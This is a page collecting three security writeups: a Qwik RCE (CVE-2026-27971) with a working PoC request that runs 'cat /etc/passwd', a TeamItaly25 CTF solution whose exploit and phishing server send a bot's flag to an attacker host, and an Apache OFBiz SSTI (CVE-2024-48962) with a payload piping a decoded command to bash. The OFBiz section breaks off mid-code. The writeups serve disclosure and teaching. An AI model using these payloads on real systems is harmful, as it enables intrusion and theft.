# A Qwik RCE: CVE-2026-27971 writeup

I used to enjoy working with various Node.js frameworks for my web development projects. Recently, I came across an interesting one, but since my developer days are behind me I decided to try and break it.

**Qwik** is a popular framework (with 22k stars on GitHub at the time of writing) that differs from the others in its approach to performance. Instead of hydrating components like most frameworks do, it ships near-zero JavaScript on page load: the server serializes the entire application state (event listeners, component trees, reactive signals) into the initial HTML. Execution starts on the server and *resumes* on the client side without replaying any component logic. This means code is only downloaded and executed when the user actually interacts with the page. Qwik calls this **[resumability](https://qwik.dev/docs/concepts/resumable/)**.

The serialization concept immediately caught my attention, and after digging into it, I found a way to achieve Remote Code Execution (RCE) by abusing the deserialization mechanism in its RPC system: which has been assigned [CVE-2026-27971](https://github.com/QwikDev/qwik/security/advisories/GHSA-p9x5-jp3h-96mm)

To understand how the exploit works, we first need to understand three core concepts: the **optimizer**, the **serialization format**, and **QRLs**.

### The Optimizer

Qwik's philosophy is to delay loading code for as long as possible. To do that, it relies on the [optimizer](https://qwik.dev/docs/advanced/optimizer/), a Rust-based compiler plugin that runs at build time. It looks for every `$` marker in the code and extracts the following expression into a separate lazy-loadable chunk. For example:

```jsx
export default component$(() => {
  return <button onClick$={() => console.log('hello')}>Hello Qwik</button>;
});
```

This becomes separate files, each referencing the next via `qrl()` that pairs a dynamic `import()` with a symbol name, creating a lazy reference to the extracted closure:

```js
// Component wrapper lazy-loads the component body
const App = componentQrl(
  qrl(() => import('./app_component_akbu84a8zes.js'), 'App_component_AkbU84a8zes')
);

// Component body lazy-loads the click handler
export const App_component_AkbU84a8zes = () => {
  return _jsx('button', {
    onClick$: qrl(
      () => import('./app_component_button_onclick_01pegc10cpw'),
      'App_component_button_onClick_01pEgC10cpw'
    ),
    children: 'Hello Qwik',
  });
};

export const App_component_button_onClick_01pEgC10cpw = () => console.log('hello');
```

### Serialization Format

At SSR time, Qwik captures the full application state and writes it into a `<script type="qwik/json">` tag in the HTML. This JSON blob contains:

```json
{
  "ctx":  { ... },   // component contexts and element metadata
  "objs":[ ... ],    // flat array of all serialized objects
  "subs": [ ... ],   // signal subscription graph
  "refs": { ... }    // DOM element references
}
```

The `objs` array is where things get interesting. Each entry is either a plain JSON value or a **typed value** identified by a single-byte prefix:

| Prefix | Type |
|--------|------|
| `\u0002` | **QRL** |
| `\u0003` | Task |
| `\u0005` | URL |
| `\u0006` | Date |
| `\u0010` | Component |
| `\u0011` | DerivedSignal |
| `\u0012` | Signal |

During deserialization, each string is dispatched to its specific deserializer based on the prefix byte, on both the client and the **server** (to parse incoming `server$` RPC requests, which we'll explore next). The type of interest for this vulnerability is QRL.

### QRL

A **QRL (Qwik URL)** is a URL that points to a specific exported symbol inside a JS chunk, along with any captured scope variables needed to reconstruct the closure.

Its format is simply: `chunk#symbol[captures]`

It is used to resolve a function when an event fires. Here's an example from server-rendered HTML:

```html
<button id="start-stream" on:click="q-BIZUgBRa.js#s_0DY7EP1UXBg[0]" q:id="1a">
```

Qwik serializes QRLs as strings into the HTML. When the user triggers an event, Qwik:
1. Reads the QRL string from the DOM `on:` attribute.
2. Downloads just the referenced chunk.
3. Resolves the named export.
4. Executes the handler.

### QRL Server-Side Implementation

Qwik also provides the `server$` function, which marks functions for server-only execution:

```jsx
<button onClick$={() => server$(() => console.log('server side execution'))}>Hello Qwik</button>
```

When the event fires, here is what happens:

1. A POST request is sent with a `?qfunc=<hash>` query parameter, an `X-QRL: <hash>` header, and a serialized body in the `application/qwik-json` format. This body includes the QRL that points to the function to call, alongside its **arguments**.
2. The server deserializes the body, resolves the QRL, and invokes the function.
3. The result is serialized back and returned to the client.

The serialized request body looks like this:

```json
{
  "_entry": "3",
  "_objs":[
    "\u0002_#s_gqL706cuzog",
    "world",
    {
      "hello": "1"
    },
    [
      "0",
      "2"
    ]
  ]
}
```

`_objs` is just a flat array of all values, where references between objects use string indices instead of nesting. For example, `"hello": "1"` means the value of `hello` is `_objs[1]` (which is `"world"`). `_entry` points to the root object, here `_objs[3]` which is the array `["0", "2"]`. Resolving its indices gives `[_objs[0], _objs[2]]`, so the final result is `["\u0002_#s_gqL706cuzog",{"hello":"world"}]`.

**On the server side**, QRLs are represented as async functions that take a *chunk* (a local `.js` file) and a *symbol* (an exported function name), and resolve them at call time.

Here is a simplified version of `createQRL` (see [`qrl-class.ts:L66-239`](https://github.com/QwikDev/qwik/blob/09fa6b388/packages/qwik/src/core/qrl/qrl-class.ts#L66-239) for the full implementation):

```ts
export const createQRL = <TYPE>(
  chunk: string | null,     // module path
  symbol: string,           // exported function name
  // ...
): QRLInternal<TYPE> => {
  const resolve = async (): Promise<TYPE> => {
    return getPlatform().importSymbol(_containerEl, chunk, symbol);               // imports the module, returns the symbol
  };

  const resolveLazy = (): ValueOrPromise<TYPE> => {
    return symbolRef !== null ? symbolRef : resolve();                            // resolve() is called
  };

  function invokeFn(this: unknown) {
    return (...args: QrlArgs<TYPE>): QrlReturn<TYPE> =>
      maybeThen(resolveLazy(), (f) => {
        return invoke.call(this, context, f, ...(args as Parameters<typeof f>));  // calls the symbol
      });
  }

  const qrl = async function (this: unknown, ...args: QrlArgs<TYPE>) {
    const fn = invokeFn.call(this, undefined);
    return await fn(...args);
  };

  // ...
};
```

When a QRL is called on the server, the flow is: `invokeFn` -> `resolveLazy` -> `resolve` -> `getPlatform().importSymbol(chunk, symbol)` -> the symbol is imported, then executed with `invoke.call`.

With this understanding, we can now see how these pieces combine into a pre-auth RCE chain.

## Vulnerability Analysis

The vulnerability can be triggered with a single request by default on any Qwik deployment where `require()` is globally available, such as **Bun** or traditional CJS setups.

The standard Qwik build (`npm create qwik`) produces ESM output. In Node.js ESM, `require` is not a global, so the call throws at runtime and the chain breaks. However, Bun provides `require()` as a **built-in global** in all module types, making the same unmodified build fully exploitable.

#### 1. Entry point

We start the chain with `runServerFunction`, which is pushed into the middleware handler chain for every page route on POST and GET requests ([`resolve-request-handlers.ts:89-93`](https://github.com/QwikDev/qwik/blob/09fa6b388/packages/qwik-city/src/middleware/request-handler/resolve-request-handlers.ts#L89-L93)). It runs on **every request** regardless of whether the page actually defines a `server$` function.

```ts
async function runServerFunction(ev: RequestEvent) {
  const fn = ev.query.get(QFN_KEY); // QFN_KEY = 'qfunc'
  
  if (fn && ev.request.headers.get('X-QRL') === fn && ev.request.headers.get('Content-Type') === 'application/qwik-json') {
    ev.exit();
    const qwikSerializer = (ev as RequestEventInternal)[RequestEvQwikSerializer];
    const data = await ev.parseBody();                     // calls parseRequest -> _deserializeData
    
    if (Array.isArray(data)) {
      const [qrl, ...args] = data;
      if (isQrl(qrl) && qrl.getHash() === fn) {            // we control both sides since getHash returns the hash (# part) of the submitted qrl
        let result: unknown;
        // ...
        result = await (qrl as Function).apply(ev, args);  // invokes the attacker's QRL
```

The function reads a symbol hash from the `qfunc` query parameter. This value must match both the `X-QRL` header and the hash of the QRL in the request body.
For example: `qfunc=test`, `X-QRL=test`, and a body of `{"_entry":"0","_objs":[["1"],"\u0002a_chunk#test"]}`.

It deserializes the request body, extracts the QRL function and its arguments, and calls it.

#### 2. Deserialization

The request body is deserialized through `parseBody` -> `parseRequest` -> `_deserializeData`, which reconstructs objects directly from the attacker-supplied JSON.

[`packages/qwik/src/core/container/resume.ts:52-84`](https://github.com/QwikDev/qwik/blob/09fa6b388/packages/qwik/src/core/container/resume.ts#L52-L84)
```ts
export const _deserializeData = (data: string, element?: unknown) => {
  const obj = JSON.parse(data);
  if (typeof obj !== 'object') {
    return null;
  }
  const { _objs, _entry } = obj;
  if (typeof _objs === 'undefined' || typeof _entry === 'undefined') {
    return null;
  }
  let doc = {} as Document;
  let containerState = {} as any;
  // ...
  const parser = createParser(containerState, doc);

  for (let i = 0; i < _objs.length; i++) {
    const value = _objs[i];
    if (isString(value)) {
      _objs[i] = value === UNDEFINED_PREFIX ? undefined : parser.prepare(value); // prepare() is called, then the QRL is parsed
    }
  }

  const getObject: GetObject = (id) => _objs[strToInt(id)];
  for (const obj of _objs) {
    reviveNestedObjects(obj, getObject, parser); // unflattens the _objs array into an object
  }
  return getObject(_entry);
};
```

The POST body is parsed as JSON, and each string in the `_objs` array starting with `\u0002` is dispatched to `QRLSerializer.$prepare$` ([`serializers.ts:132-134`](https://github.com/QwikDev/qwik/blob/09fa6b388/packages/qwik/src/core/container/serializers.ts#L132-L134)).

```ts
const QRLSerializer = /*#__PURE__*/ serializer<QRLInternal>({
  $prefix$: '\u0002',
  // ...
  $prepare$: (data, containerState) => {
    return parseQRL(data, containerState.$containerEl$); // parses input data
  },
  // ...
});
```

This calls `parseQRL()` ([`qrl.ts:231-256`](https://github.com/QwikDev/qwik/blob/09fa6b388/packages/qwik/src/core/qrl/qrl.ts#L231-L256)), which basically splits the string into the chunk, the symbol, and its captures. It passes everything directly to `createQRL()` that we saw earlier that returns an async function where both `chunk` and `symbol` come directly from the attacker's input. When this function is later invoked by `runServerFunction` (step 1), it hits `getPlatform().importSymbol(chunk, symbol)`, leading us to the sink.


#### 3. The RCE Sink

`importSymbol` is where our attacker-controlled data hits `require()`. Both the module path and the symbol name come from the request, meaning any local `.js` file that exports a dangerous function can be loaded and its export extracted.

[`packages/qwik/src/server/platform.ts:42-57`](https://github.com/QwikDev/qwik/blob/09fa6b388/packages/qwik/src/server/platform.ts#L42-L57)
```ts
const serverPlatform: CorePlatformServer = {
  isServer: true,
  async importSymbol(_containerEl, url, symbolName) { // both url and symbolName are attacker-controlled
    const hash = getSymbolHash(symbolName);
    const regSym = (globalThis as any).__qwik_reg_symbols?.get(hash);
    if (regSym) {
      return regSym;
    }

    let modulePath = String(url);
    if (!modulePath.endsWith('.js')) {
      modulePath += '.js';
    }
    const module = require(modulePath);               //! Arbitrary js module import! `require(attacker_string + ".js")`
    if (!(symbolName in module)) {
      throw new Error(`Q-ERROR: missing symbol '${symbolName}' in module '${modulePath}'.`);
    }
    return module[symbolName];                        // we can control which function gets returned
  }
```

This strict `.js` appendage **prevents** loading any module such as `child_process`, that would lead to a straightforward exploit, forcing us instead to find a local `.js` file on the filesystem that exports a dangerous function.

#### 4. Finding a Local Gadget: Living off the Land js gadget

Because we cannot upload files to a default Qwik app, we need to find a `.js` file already present on the target system that exports a dangerous function.

I wanted a universal primitive, so I began searching for a .js file universally present across all Node.js deployments. This led me to the npm CLI itself, which is conveniently bundled with Node.js by default.

Searching npm's dependency tree for a native execution wrapper, I found the perfect gadget: `cross-spawn`. It exports a `sync` function that directly wraps `child_process.spawnSync`:

```bash
root@5760dfd5c804:/app# find / -name "*.js" 2>/dev/null | grep spawn
...
/usr/local/lib/node_modules/npm/node_modules/cross-spawn/index.js
...

root@5760dfd5c804:/app# cat /usr/local/lib/node_modules/npm/node_modules/cross-spawn/index.js
```
```js
const cp = require('child_process');
// ...
function spawnSync(command, args, options) {
    const parsed = parse(command, args, options);
    const result = cp.spawnSync(parsed.command, parsed.args, parsed.options);
    result.error = result.error || enoent.verifyENOENTSync(result.status, parsed);
    return result;
}
// ...
module.exports.sync = spawnSync;
```

The function signature `sync(command, args, options)` maps directly to `child_process.spawnSync`, exactly the kind of gadget we need.

This file can be found at predictable paths across systems: for example `/usr/local/lib/node_modules/npm/node_modules/cross-spawn/index.js` on Linux and `C:\Program Files\nodejs\node_modules\npm\node_modules\cross-spawn\index.js` on Windows. It is also a transitive dependency of many packages, including Qwik itself.

#### 5. Arbitrary Function Invocation

Once `require()` loads the gadget module, `importSymbol` returns `module["sync"]` back up the call chain to `runServerFunction`.

Recall from step 1 how the deserialized array is destructured:

```ts
const [qrl, ...args] = data;    // data = [qrlFunction, ...parsed_body]
// ...
result = await (qrl as Function).apply(ev, args);  // effectively: sync(...parsed_body)
```

The first element is the QRL (resolved to our gadget function), and everything after it becomes the arguments passed via `.apply()`. Since we control the entire `_objs` array in the request body, we dictate both **which function** gets called and **with what arguments**.


### PoC

The following request executes `cat /etc/passwd`, and the result is returned as base64 in the HTTP response.

```http-plain
POST /?qfunc=sync HTTP/1.1
Host: localhost
Content-Length: 143
X-QRL: sync
Accept-Language: en-US,en;q=0.9
Content-Type: application/qwik-json
Connection: keep-alive

{
  "_entry":"0",
  "_objs":[
    ["1","2","3"],
    "\u0002/usr/local/lib/node_modules/npm/node_modules/cross-spawn/index.js#sync",
    "cat",
    ["4"],
    "/etc/passwd"
  ]
}
```

### The Fix

The Qwik team addressed this by removing dynamic `require()` from `importSymbol` entirely, which appeared to be dead code.

The patched code now throws an error immediately if a symbol isn't found in the build registry:

```diff
  async importSymbol(_containerEl, url, symbolName) {
    const hash = getSymbolHash(symbolName);
    const regSym = (globalThis as any).__qwik_reg_symbols?.get(hash);
    if (regSym) {
      return regSym;
    }
-
-   let modulePath = String(url);
-   if (!modulePath.endsWith('.js')) {
-     modulePath += '.js';
-   }
-   const module = require(modulePath);
-   if (!(symbolName in module)) {
-     throw new Error(`Q-ERROR: missing symbol '${symbolName}' in module '${modulePath}'.`);
-   }
-   return module[symbolName];
+   // we never lazy import on the server
+   throw qError(QError_dynamicImportFailed, symbolName);
  },
```



A Qwik RCE: CVE-2026-27971 writeup

Trailing Danger: exploring HTTP Trailer parsing discrepancies

# TeamItaly25 - VibeChallenge (Unintended Solution)

> A web challenge built on instinct, caffeine, and zero planning. Everything kind of works — and that's good enough. Follow the vibes. Something might happen.

## TLDR

Just follow the vibes...

"Phishing" the bot with an open redirect, a cache poisoning and some other tricks.

## The Target Bot

The goal is to steal flag from an headless bot. After we provide a URL, the bot will visit it and then perform a series of actions:

```php
$actions = [
        'browser' => 'chrome',
        'timeout' => 120,
        'actions' => [
            // 1. Visit our attacker-controlled URL and wait 10 seconds
            [ 'type' => 'request', 'url' => $_POST['url'], 'timeout' => 10 ],
            [ 'type' => 'sleep', 'time' => 10 ],

            // 2. Register a new account
            ['type' => 'request', 'url' => $CHALLENGE_URL . '/register.php', 'timeout' => 20 ],
            ['type' => 'type','element' => 'input#username','value' => $username],
            ['type' => 'click','element' => 'button#submit',],
            [ 'type' => 'sleep', 'time' => 5 ],

            // 3. Navigate to the bio page and paste the flag
            ['type' => 'request','url' => $CHALLENGE_URL . '/update_bio.php','timeout' => 20],
            ['type' => 'type','element' => 'textarea#bio','value' => $FLAG],
            ['type' => 'click','element' => 'button#submit',]
        ]
    ];
```


## Core Vulnerabilities

The challenge is an application built on a stack of Nginx, Apache, and PHP.

### 1. Web Cache Poisoning

Nginx is configured to cache responses for images, including 302 (redirect) responses. The cache key is based solely on the request URI.

```nginx
// nginx.conf
location ~ "^\/image\/([a-fA-F0-9]{...})" {
    rewrite "^\/image\/(?<uuid>...)$" /image.php?id=$uuid break;
    proxy_pass http://${BACKEND_HOST}:80;
    proxy_cache STATIC;
    proxy_cache_valid 200 302 1m; // Redirects are cached for 1 minute
    proxy_cache_key "$scheme$proxy_host$request_uri"; // Cache key ignores cookies
    proxy_hide_header Set-Cookie;
    proxy_ignore_headers Set-Cookie Cache-Control Expires;
}
```

This configuration allows for a web cache poisoning attack. If we can make a request to a cacheable URL (like `/image/some-uuid`) and trick the backend into issuing a redirect based on a cookie we provide, that redirect will be cached and served to every subsequent visitor of that URL.

### 2.Open Redirect

The application uses a `next` cookie to handle redirects after certain actions. For instance, after a user registers, the application will redirect them to the URL specified in the `next` cookie.

```php
// is_logged.php
if (!isset($_SESSION['user'])) {
    // ...
} else if (isset($_COOKIE['next'])) { // Authenticated users are redirected
    redirect($_COOKIE['next']);
    setcookie('next', '', -1, '/');
}
```
This is a standard open redirect vulnerability. The `next` cookie's value is not validated, allowing us to redirect users to an arbitrary external site.

### 3. Session Handling Quirks

The most subtle vulnerability lies in the session management logic. The session cookie's `path` attribute is dynamically set based on the request's path.

```php
// utils.php
function start_session(){
    $hardening_options = [
        'lifetime' => 6000,
        'path' => dirname($_SERVER['ORIG_PATH_INFO']), // Session path based on request path
        'domain' => $_SERVER['HTTP_HOST'],
        'httponly' => true,  
    ];
    session_set_cookie_params($hardening_options);
    session_start();
}
```

This means a session started by a request to `/foo.php` will be scoped to the path `/`. However, a session started by a request to `/foo/bar.php` will be scoped to `/foo`.

This creates a side effect: a user who is authenticated with a session on the root path (`/`) can be made to appear unauthenticated by making them request a URL with a sub-path. For example, if a logged-in user requests `/bio.php/some/path`, the application will attempt to start a session for the path `/bio.php/some`. The browser won't send the root session cookie for this new scope, so from the application's perspective, the user is not logged in (`$_SESSION` is empty).

When the application considers a user to be unauthenticated, it sets the `next` cookie to the current path to redirect them after login.

```php
// is_logged.php
if (!isset($_SESSION['user'])) {
    setcookie('next',  $_SERVER['ORIG_PATH_INFO'], path: "/"); // Set cookie if not logged in
    redirect('/register.php');
    // ...
}
```

This gives us a way to set the `next` cookie on an *already authenticated* user.

## Exploitation

1.  **Poison the Cache**

First, we'll poison the cache for a specific image URL (`/image/uuid`) by  making a request to that image URL with a `next` cookie pointing to our attacker server. The server will issue a redirect to our site, which Nginx will cache for that image URL.

2.  **Call the Bot**

We submit a URL to our attacker server to the bot. The page returned will execute JavaScript to orchestrate the attack in the background while the bot continues its programmed sequence of actions.

3.  **Setup - Session Manipulation**

Our script initiates a series of requests to set up the bot for the next step.
- It first requests `/bio.php/bio.php`. Because of the session path vulnerability, this creates an empty session scoped to `/bio.php`, effectively making the bot appear logged out on that path.
- It then requests `/update_bio.php`. Since the bot isn't authenticated yet, this sets the `next` cookie to `/update_bio.php`, ensuring that's where the bot goes after it registers. 
This specific step is necessary because without this request, the bot after the registration will be redirected to a location where it is not authenticated, overriding the valid session with an empty one. In fewer words the bot would be not authenticated even after the registration.

4.  **!Path Confusion!**

The bot's script proceeds: it sleeps for 10 seconds, then registers an account. After logging in, sleeps for 5 seconds. During this time window from our attacker page makes a request to `/bio.php/%252e%252e%252Fimage/uuid`. This specific path maps to `/bio.php`, where the user is unauthenticated so allows to set the `next` cookie. But its value will be `/bio.php/..%2fimage/uuid` that is equal to `/image/uuid` (because `..%2F` gets interpreted as `../`), our poisoned image URL!

This issue allows to set a redirect for any path, even for image paths where the next cookie is not normally set because of the nginx configuration `proxy_hide_header Set-Cookie;`.

5.  **"Phishing" the bot and getting the flag**: 

The bot wakes up and attempts to navigate to `/update_bio.php`. The application finds the `next` cookie we just planted and redirects the bot to the poisoned image URL. The request for the image hits the poisoned Nginx cache, which serves another redirect, this time to our phishing page. The bot, following the redirects, lands on our fake page, types the flag into the bio field, and submits it directly to us.

`TeamItaly{ch47gp7_54id_17_w45_f1n3_50_175_f1n3_1ce575c05a6b34b1}`  

## Exploit Flow


![](/vibe.svg)

## Full Exploit
`exploit.py`
```python
import requests
import uuid
import time
from urllib.parse import quote
import os

ATTACK_SERVER = "https://x.share.zrok.io" 

CHALLENGE_HOST = 'challenge03.it'

CHALLENGE_PORT = 443

with open("image.png", "wb") as f:
    f.write(b"\x89PNG\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00\x01\x73\x52\x47\x42\x00\xAE\xCE\x1C\xE9\x00\x00\x00\x04\x67\x41\x4D\x41\x00\x00\xB1\x8F\x0B\xFC\x61\x05\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0E\xC3\x00\x00\x0E\xC3\x01\xC7\x6F\xA8\x64\x00\x00\x00\x07\x74\x49\x4D\x45\x07\xE4\x07\x0B\x0B\x19\x1E\x1B\x45\x4D\x00\x00\x00\x00\x4C\x49\x44\x41\x54\x08\xD7\x63\xFC\xFF\xFF\xFF\x0F\x00\x00\x00\x00\xFF\xFF\xFF\x7F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

class Exploit:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.url = f"http{'s' if port == 443 else ''}://{host}:{port}"
        self.session = requests.Session()

    def register_user(self):
        username = str(uuid.uuid4())
        try:
            res = self.session.post(f"{self.url}/register.php", verify=False, data={"username": username}, timeout=5)
            if res.status_code == 200:
                print(f"[+] Successfully registered user: {username}")
                return True
            print(f"[-] Registration failed. Status: {res.status_code}")
            return False
        except requests.RequestException as e:
            print(f"[-] Registration request failed: {e}")
            return False

    def upload_payload_image(self):
        print("[*] Uploading img...")
        try:
            with open("image.png", "rb") as f:
                files = {"image": ("image.png", f, "image/png")}
                res = self.session.post(f"{self.url}/upload_image.php", verify=False, files=files, timeout=5, proxies={"http": "http://localhost:8081", "https": "http://localhost:8081"})
            
            image_path = res.text.split("href='")[1].split("'")[0]
            image_uuid = image_path.split("/")[-1]
            print(f"[+] Payload uploaded successfully. UUID: {image_uuid}")
            return image_uuid
        except Exception as e:
            print(f"[-] Failed to upload payload or parse UUID: {e}")
            print(f"    Response: {res.text}...")
            return None
        
    def solve_pow(self, pow):
        return os.popen(f"hashcash -mCb26 \"{pow}\"").read().replace("\n", "")

    def poison_cache(self, image_uuid):
        self.session.cookies["next"] = ATTACK_SERVER+"/phish"
        res = self.session.get(f"{self.url}/bio.php/..%2fimage/{image_uuid}", allow_redirects=False, verify=False, timeout=5, proxies={"http": "http://localhost:8081", "https": "http://localhost:8081"})
        print(f"[+] Poisoned cache")
        return res.text
    
    def call_bot(self):
        res = self.session.get(f"{self.url}/bot.php", verify=False, timeout=5, proxies={"http": "http://localhost:8081", "https": "http://localhost:8081"})
        get_pow = res.text.split("Proof of Work of ")[1].split("</label>")[0]
        print(f"[+] POW: {get_pow}")
        pow = self.solve_pow(get_pow)
        if not pow:
            return
        print(f"[+] Solved POW: {pow}")
        res = self.session.post(f"{self.url}/bot.php", verify=False, timeout=5, proxies={"http": "http://localhost:8081", "https": "http://localhost:8081"}, data={"url": ATTACK_SERVER, "pow": pow})
        print(f"[+] Bot response: {res.text}")
        return res.text

    def exploit(self):
        if not self.register_user():
            return
            
        image_uuid = self.upload_payload_image()
        if not image_uuid:
            return
        with open("image_uuid", "w") as f:
            f.write(image_uuid)
        
        print(self.poison_cache(image_uuid))
        self.call_bot()


solver = Exploit(CHALLENGE_HOST, CHALLENGE_PORT)
solver.exploit()
```

`server.py`
```python
from flask import Flask, request

app = Flask(__name__)

# host = "http://nginx"
host = "https://challenge03.it"

@app.route('/')
def index():
    return """
<script>
    window.open("/attack", "_blank");
</script>
"""

@app.route('/phish', methods=['GET', 'POST'])
def phish():
    # phish the bot
    if request.method == "POST":
        print(request.form)
    return """
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>Update Bio</title>
</head>

<body>
    <form method="POST" action="/phish">
        <textarea name="bio" class="form-control" autofocus id="bio" rows="5" placeholder="Write something about yourself...like a flag" required></textarea>
        <button id="submit" type="submit" class="btn btn-success w-100">Save</button>
    </form>
</body>
"""

@app.route('/attack')
def attack():
    return """
<script>
window.open("/slog", "_blank");

setTimeout(() => window.open("/set_next", "_blank"), 1000);

setTimeout(() => window.open("/set_redirect", "_blank"), 22500);
</script>
"""

@app.route('/slog')
def slog():
    return f"""
<script>
    location = '{host}/bio.php/bio.php';
</script>
"""

@app.route('/set_next')
def set_next():
    return f"""
<script>
    location = '{host}/update_bio.php';
</script>
"""

@app.route('/set_redirect')
def set_redirect():
    image_uuid = ""
    with open("image_uuid", "rb") as f:
        image_uuid = f.read().decode("utf-8")
    return f"""
<script>
    location = '{host}/bio.php/%252e%252e%252Fimage/{image_uuid}';
</script>
"""

if __name__ == '__main__':
    app.run(debug=True, port=5000)
```

TeamItaly25 - VibeChallenge (Unintended Solution)

# CVE-2024-48962: From Simple Redirection to RCE via Server-Side Template Injection in Apache OFBiz

## Contents

## TL;DR

We discovered a critical Server-Side Template Injection (SSTI) vulnerability in Apache OFBiz that enables unauthenticated attackers to achieve Remote Code Execution (RCE) by convincing authenticated users to click a malicious link. The vulnerability affects all versions prior to 18.17 and can be exploited through a simple URL parameter injection.

**Proof of Concept:**
```
https://target.com/partymgr/control/viewprofile?partyId=${Static["org.apache.ofbiz.base.util.GroovyUtil"].eval("\'bash -c {echo,BASE64_COMMAND}|{base64,-d}|bash\'.execute()",null)}
```

---

## Introduction

Apache OFBiz is an open-source CRM & ERP system built in Java. 

This vulnerability ([CVE-2024-48962](https://www.cve.org/CVERecord?id=CVE-2024-48962)) begins as a simple parameter injection escalates to full RCE through FreeMarker template injection combined with a sandbox bypass leveraging OFBiz's own utility classes.

---

## Overview

The vulnerability lies within the `/partymgr/control/viewprofile` endpoint, where the `partyId` query parameter undergoes processing without adequate sanitization before being passed to FreeMarker template rendering. This allows attackers to inject malicious template syntax that executes server-side.

### Tracing the Vulnerable Code Path

1. Request Routing

When an HTTP request targets `/partymgr/control/viewprofile`, OFBiz routes it through its controller configuration system:

`applications/party/webapp/partymgr/WEB-INF/controller.xml`
```xml
<request-map uri="viewprofile">
    <security https="true" auth="true"/>
    <response name="success" type="view" value="viewprofile"/>
</request-map>

<view-map name="viewprofile" type="screen" 
          page="component://party/widget/partymgr/PartyScreens.xml#viewprofile"/>
```

The request maps to a screen definition that extracts and processes the `partyId` parameter:

`applications/party/widget/partymgr/PartyScreens.xml`
```xml
<screen name="viewprofile">
    <section>
        <actions>
            <set field="partyId" from-field="parameters.partyId"/>
            <script location="component://party/groovyScripts/party/ViewProfile.groovy"/>
        </actions>
        <widgets>
            <decorator-screen name="CommonPartyDecorator" location="${parameters.mainDecoratorLocation}">
                
            </decorator-screen>
        </widgets>
    </section>
</screen>
```

2. Parameter Processing and menu rendering

The `ViewProfile.groovy` script extracts and processes the user-supplied `partyId` value:

`applications/party/groovyScripts/party/ViewProfile.groovy`
```groovy
partyId = parameters.partyId ?: parameters.party_id
// ...
context.partyId = partyId  // User input flows directly into context
```

The `CommonPartyDecorator` includes navigation menus that consume the `partyId` parameter:

`applications/party/widget/partymgr/CommonScreens.xml`
```xml
<screen name="CommonPartyDecorator">
    <section>
        <actions>
            <set field="partyId" from-field="parameters.partyId"/>
        </actions>
        <widgets>
            <include-menu name="ProfileTabBar" location="component://party/widget/partymgr/PartyMenus.xml"/>
            <include-menu name="ProfileSubTabBar" location="component://party/widget/partymgr/PartyMenus.xml"/>
        </widgets>
    </section>
</screen>
```

3. Template generation

Menu items incorporate the user-controlled `partyId` as a parameter:

`applications/party/widget/partymgr/PartyMenus.xml`
```xml
<menu-item name="viewprofile" title="${uiLabelMap.PartyProfile}">
    <link target="viewprofile">
        <parameter param-name="partyId"/>  
    </link>
</menu-item>
```

When these menus render, the `MacroMenuRenderer.executeMacro()` method constructs dynamic FreeMarker templates:

`framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/macro/MacroMenuRenderer.java`
```java
private void executeMacro(Appendable writer, String macroName, Map<String, Object> macroParameters) 
        throws IOException, TemplateException {
    StringBuilder sb = new StringBuilder("<@");
    sb.append(macroName);
    if (macroParameters != null) {
        for (Map.Entry<String, Object> parameter : macroParameters.entrySet()) {
            sb.append(' ');
            sb.append(parameter.getKey());
            sb.append("=");
            Object value = parameter.getValue();
            if (value instanceof String) {
                sb.append('"');
                // Only escapes quotes, not FreeMarker syntax!
                sb.append(((String) value).replaceAll("\"", "\\\\\""));
                sb.append('"');
            } else {
                sb.append(value);
            }
        }
    }
    sb.append(" />");
    
    // Executes the dynamically constructed template
    executeMacro(writer, sb.toString());
}

private void executeMacro(Appendable writer, String macro) throws IOException, TemplateException {
    Reader templateReader = new StringReader(macro);
    Template template = new Template(templateName, templateReader, FreeMarkerWorker.getDefaultOfbizConfig());
    environment.include(template);  // ⚠️ Template injection occurs here
}
```

**Attack Flow:**

When `partyId=MALICIOUS_INPUT` contains FreeMarker syntax, it becomes embedded in a macro call:
```freemarker
<@renderMenuItemBegin linkStr="/partymgr/control/viewprofile?partyId=MALICIOUS_INPUT" />
```

For example, if `MALICIOUS_INPUT` is `${7*7}`, the generated template becomes:
```freemarker
<@renderMenuItemBegin linkStr="/partymgr/control/viewprofile?partyId=${7*7}" />
```

When FreeMarker processes this template, it evaluates `${7*7}` as an expression, producing `49` in the output.

---

## Exploitation: Bypassing FreeMarker Sandbox

FreeMarker typically operates within a restricted environment, but OFBiz exposes utility classes accessible via the `Static` hash.

```bash
grep -r "static.*eval" --include="*.java" .

./framework/base/src/main/java/org/apache/ofbiz/base/util/GroovyUtil.java:    public static Object eval(String expression, Map<String, Object> context) throws CompilationFailedException {
```

This search revealed `GroovyUtil.eval()` within the OFBiz framework:

`framework/base/src/main/java/org/apache/ofbiz/base/util/GroovyUtil.java`
```java
public static Object eval(String expression, Map<String, Object> context) throws CompilationFailedException {
    // ...
    GroovyShell shell = new GroovyShell(getBinding(context, expression));
    Object result = shell.evaluate(StringUtil.convertOperatorSubstitutions(expression));
    // ...
}
```

This method provides a direct pathway to execute arbitrary Groovy code, effectively circumventing FreeMarker's security sandbox.

### Escalation to Remote Code Execution

Using the `GroovyUtil.eval()` method, we can achieve various levels of system compromise:

```
${Static["org.apache.ofbiz.base.util.GroovyUtil"].eval("'bash -c {echo,BASE64_COMMAND}|{base64,-d}|bash'.execute()", null)}
```

### Final exploit

An attacker can just craft a page that executes a redirect, and delivers it to an authenticated OFBiz user:

```html
<script>
